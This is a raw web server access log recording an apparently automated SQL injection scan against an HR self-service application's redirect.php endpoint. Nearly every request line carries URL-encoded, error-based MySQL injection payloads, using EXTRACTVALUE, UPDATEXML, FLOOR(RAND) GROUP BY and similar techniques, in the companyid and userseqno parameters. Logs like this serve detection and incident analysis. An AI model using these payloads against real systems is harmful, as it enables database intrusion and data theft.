100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x56334e50%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474d4550%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F0PXE&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d493849%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4132336a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F6FJy&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d493849%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4132336a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F6FJy&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x616d5162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33334c52%29%29%2C1%29%23%2F%2A%2A%2FHWXe HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x616d5162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33334c52%29%29%2C1%29%23%2F%2A%2A%2FHWXe HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c567351%2C%28NULL%29%2C0x45363433%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FGTbb%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c567351%2C%28NULL%29%2C0x45363433%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FGTbb%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x664d5969%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41534f51%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FAKCN HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x664d5969%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41534f51%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FAKCN HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x69455672%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64486c50%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2F8Y3T HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x69455672%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64486c50%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2F8Y3T HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64577945%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79486752%29%29%2C1%29%23%2F%2A%2A%2FnEu3 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64577945%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79486752%29%29%2C1%29%23%2F%2A%2A%2FnEu3 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f416954%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b554e54%29%29x%29%29%23%2F%2A%2A%2FLqsO HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f416954%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b554e54%29%29x%29%29%23%2F%2A%2A%2FLqsO HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x49633655%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5151324c%29%29x%29%29%23%2F%2A%2A%2FXNoZ HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x49633655%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5151324c%29%29x%29%29%23%2F%2A%2A%2FXNoZ HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x746d7773%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41337638%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FCKfU HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x746d7773%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41337638%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FCKfU HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4a696868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57593758%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FWSLy HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4a696868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57593758%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FWSLy HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6334794d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b456d35%29%29%23%2F%2A%2A%2F5obU HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6334794d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b456d35%29%29%23%2F%2A%2A%2F5obU HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d4f4234%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324f5877%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNIDt%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x56334e50%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474d4550%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F0PXE&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6e58554b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724c4336%29%29%23%2F%2A%2A%2FcfGm HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6e58554b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724c4336%29%29%23%2F%2A%2A%2FcfGm HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d493849%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4132336a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2F6FJy&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4554556f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c466a78%29%2C5431%29%23%2F%2A%2A%2FsA2o HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4554556f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c466a78%29%2C5431%29%23%2F%2A%2A%2FsA2o HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f343167%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d743775%29%2C5431%29%23%2F%2A%2A%2FSkJi HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f343167%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d743775%29%2C5431%29%23%2F%2A%2A%2FSkJi HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7547476d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47373231%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FZyAF HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7547476d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47373231%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23%2F%2A%2A%2FZyAF HTTP/1.1" 200 5915
